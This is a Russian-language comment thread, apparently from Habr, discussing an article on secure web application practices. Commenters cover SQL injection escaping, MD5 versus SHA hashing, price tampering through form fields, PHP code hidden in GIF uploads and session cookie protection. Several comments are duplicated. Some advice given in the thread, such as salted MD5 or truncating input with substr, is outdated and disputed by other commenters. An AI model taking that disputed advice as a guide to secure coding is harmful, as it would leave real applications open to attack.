Только таких ситуаций (когда слушать существенно легче, чем врезаться) достаточно мало, я так сходу даже не скажу. Открытый wifi, сниффинг своего сегмента ethernet… пожалуй все?
Снифать в своем сегменте локалки — идея плохая, обычно не гадят там, где спят. Сидеть в макдаке с ноутбуком и ловить лохов… ну не знаю, много имхо не выловишь. А все остальные варианты man-in-the-middle предполагают либо взлом маршрутизаторов, либо сговор с админами, либо физическую врезку в канал.
Какой-нибудь троян у пользователя, способный слушать сеть, но не способный, например, слушать клавиатуру? Написать такого точно можно, вопрос будет ли кто писать, если админские права и так получены. С другой стороны, могут быть уязвимости непосредственно в сетевом стэке или, скажем, какой-то антивирус может за ним не следить, а попытки перехвата клавиатуры детектировать.
Ну и хотелось бы напомнить про httponly для кук сессии. Почему-то редко используется.
Всем спасибо за критику. Пока не могу внести поправки в статью, HTML в статье ломает форму редактирования. Что собственно и было описано в самой статье.
Написал в саппорт.
Написал в саппорт.
Думаю, что половина проблем уже решена в хороших фреймворках. А те, кто пишет на чистом языке, скорее всего уже для себя решил эти вопросы.
Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.
А еще я Artmoney и Magic Trainer Creator в mmorpg часто использую.
Дочитал до mysql_query дальше читать нет смысла. Материал собран видимо из какой-то бородатой книги по PHP3 наверное, но на дворе 21-й век. MySQLi или PDO нормально сами всё «эскейпят».
Стоит таки научиться читать. Статья не о PHP, а примеры для ясности.
Для новичка они не вносят ничего кроме путаницы (потом разгребай велосипеды) для людей по опытнее (да некоторые вещи опытные люди бывает забывают) достаточно объяснить принцип.
Не надо писать статьи «для широкого круга», для новичков должны быть одни статьи, а для опытных другие. Иначе и те и другие только больше запутаются.
Не надо писать статьи «для широкого круга», для новичков должны быть одни статьи, а для опытных другие. Иначе и те и другие только больше запутаются.
Попробовал воспользоваться вашим советом, попробовал почитать…
]]] Хорошим решением будет усечение этого поля до одного символа:
]]] substr($_POST['gender'],0,1)
И боже, мама роди меня обратно, это же в какой вселенной это было бы хорошим решением…
]]] Хорошим решением будет усечение этого поля до одного символа:
]]] substr($_POST['gender'],0,1)
И боже, мама роди меня обратно, это же в какой вселенной это было бы хорошим решением…
> Если ваше приложение работает с финансовыми, медицинскими или просто с очень важными данными — используйте HTTPS.
Я бы поспорил что имя-фамилия пользователя уже являются очень важными данными. А на сайтах где есть возможность публиковать свой контент (хоть комментарии) — даже логин.
Хабр — не секьюрен. :)
Я бы поспорил что имя-фамилия пользователя уже являются очень важными данными. А на сайтах где есть возможность публиковать свой контент (хоть комментарии) — даже логин.
Хабр — не секьюрен. :)
Сколько, блин, можно советовать использовать MD5? Такое впечатление, что пхпшники в этом вопросе застряли в 2000 году. MD5 хеши уже давно взламываются через rainbow-tables любой школотой за 10 минут.
Ничего же стоит вместо MD5 заюзать скажем SHA256/512.
Ничего же стоит вместо MD5 заюзать скажем SHA256/512.
Где можно посмотреть данные о уязвимости md5 с достаточно длинным salt?
Дело не в длине salt, а в том, что алгоритм старый, подверженный коллизиям и сломанный всеми, кем только можно. При нулевых затратах времени и сил программист может на порядки увеличить гемор хакера, который решит взломать его базу, просто написав в своем коде вместо md5(open_password), sha512(open_password).
И все равно каждый раз везде пишут «используйте MD5». Это просто невыносимо.
И все равно каждый раз везде пишут «используйте MD5». Это просто невыносимо.
Можно попросить доказательств?
Вот md5 из строчки в 18 символов.
Строчная латиница, два пробела, одна цифра,
c1eb7f80d7e3578b86dbae178df38e9c
можно пример как его школота ломает?
если не осилится — вот другой. латиница, 4 символа.
098f6bcd4621d373cade4e832627b4f6
Его наверняка сломают.
Хотя этим комментарием вы мне подсказали мысль — наверно надо будет написать постик со сравнением хэширующих функций.
Вот md5 из строчки в 18 символов.
Строчная латиница, два пробела, одна цифра,
c1eb7f80d7e3578b86dbae178df38e9c
можно пример как его школота ломает?
если не осилится — вот другой. латиница, 4 символа.
098f6bcd4621d373cade4e832627b4f6
Его наверняка сломают.
Хотя этим комментарием вы мне подсказали мысль — наверно надо будет написать постик со сравнением хэширующих функций.
Это как раз несложно. Требовать определенную длину пароля, буквы в разных регистрах, другие символы итд.
«Бонус для параноиков» в «Шифровании данных» — плохая идея. Если пользователь забыл пароль, то его данные восстановить будет уже невозможно.
В «11. Защита от form spoofing» злоумышленнику не обязательно скачивать страницу на компьютер, чтобы менять html-код. Будет достаточно использовать FireBug, который может менять html-контент на лету (или просто внедрить javascript: код в адресную строку)
Для устранения инъекций советую пользоваться DbSimple от Котерова. Кстати, Хабрахабр его использует.
Не советую. Синтаксис плейсхолдеров неплох, но библиотека написана лет 5 назад и при каждом обновлении PHP будет сыпать депрекейтедами, нотисами и варнингами. Проще что-то свое написать, заодно выкинув ненужный код с кешированием, какими-то дикими деревьями и еще чем-то заморочным, и перейдя на PDO, благо там кода-то — preg_replace_callback + swicth для замены вопросиков + PDO внутрь засунуть.
Допустим у вас есть интернет магазин, в котором цена продукта берется из поля на форме. Поменяв значение поля, злоумышленник сможет купить товар по более низкой цене.
Ну тогда сушите вёсла :)
и еще, в случаи когда пользователи имеют возможность загружать картинки на сервер, обязательно проверять MIME и расширение файла.
Правда, MIME очень легко подделываются (внедрение php кода в gif файл),
а с расширением тоже может быть не все гладко, особенно при работе через nginx ( habrahabr.ru/blogs/sysadm/100961/ ).
Поэтому желательно не отдавать пользовательские картинки по прямой ссылки, как было написано в статье
и всегда, при использовании какой-либо надстройки (nginx и тд), внимательно читать раздел секурити в мануале данного продукта.
Вот хорошая статья по этому вопросу.
habrahabr.ru/blogs/php/44610/
Правда, MIME очень легко подделываются (внедрение php кода в gif файл),
а с расширением тоже может быть не все гладко, особенно при работе через nginx ( habrahabr.ru/blogs/sysadm/100961/ ).
Поэтому желательно не отдавать пользовательские картинки по прямой ссылки, как было написано в статье
и всегда, при использовании какой-либо надстройки (nginx и тд), внимательно читать раздел секурити в мануале данного продукта.
Вот хорошая статья по этому вопросу.
habrahabr.ru/blogs/php/44610/
По поводу защиты от SQL injection стоит упомянуть о методе, который предложил Ден Каминский (Dan Kaminsky) с base64 кодированием SQL запросов.
Не стоит.
Да и не обязательно base64, типичного bin2hex достаточно
$sql = 'SELECT * FROM `test` WHERE word= 0x'. bin2hex($_GET['word']);
Но всё это костыли из разряда прошлого века. Использовать надо MySQLi или PDO (что по вкусу) в отличии от 2-3 лет назад, сейчас они есть даже на самом отстойном и даже бесплатном шаред хостинге
$sql = 'SELECT * FROM `test` WHERE word= 0x'. bin2hex($_GET['word']);
Но всё это костыли из разряда прошлого века. Использовать надо MySQLi или PDO (что по вкусу) в отличии от 2-3 лет назад, сейчас они есть даже на самом отстойном и даже бесплатном шаред хостинге
Первые 5 пунктов банальны конечно, думаю любой более-менее нормальный веб-разработчик должен это знать. Остальные интересные, взял себе на заметку, спасибо :)
меня уже то подобных постов! минусуйте!
*тошнит!!!
Пара ссылок для тех, кто думает что передача в шопинг карту цены из формы происходит в какой-то другой вселенной:
http://www.thedigeratilife.com/blog/index.php/2006/11/30/how-to-buy-a-playstation-3-for-099/
http://www.edgeblog.net/2006/how-to-buy-a-plasma-for-99/
http://www.thedigeratilife.com/blog/index.php/2006/11/30/how-to-buy-a-playstation-3-for-099/
http://www.edgeblog.net/2006/how-to-buy-a-plasma-for-99/
1. Защита от SQL injection, escaping важные штуки, на них учатся. Также в escaping нужно включить " .:,-/+?()@€_*§%;=&«если не были включены. Это inputFiltering, важная вещь. И не следует забывать о OutputFiltering-е чтоб не выполнился джаваскрипт не дай бог.
Самое оно, как раз скоро запускаю свое приложение.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
12 навыков создания защищенных веб-приложений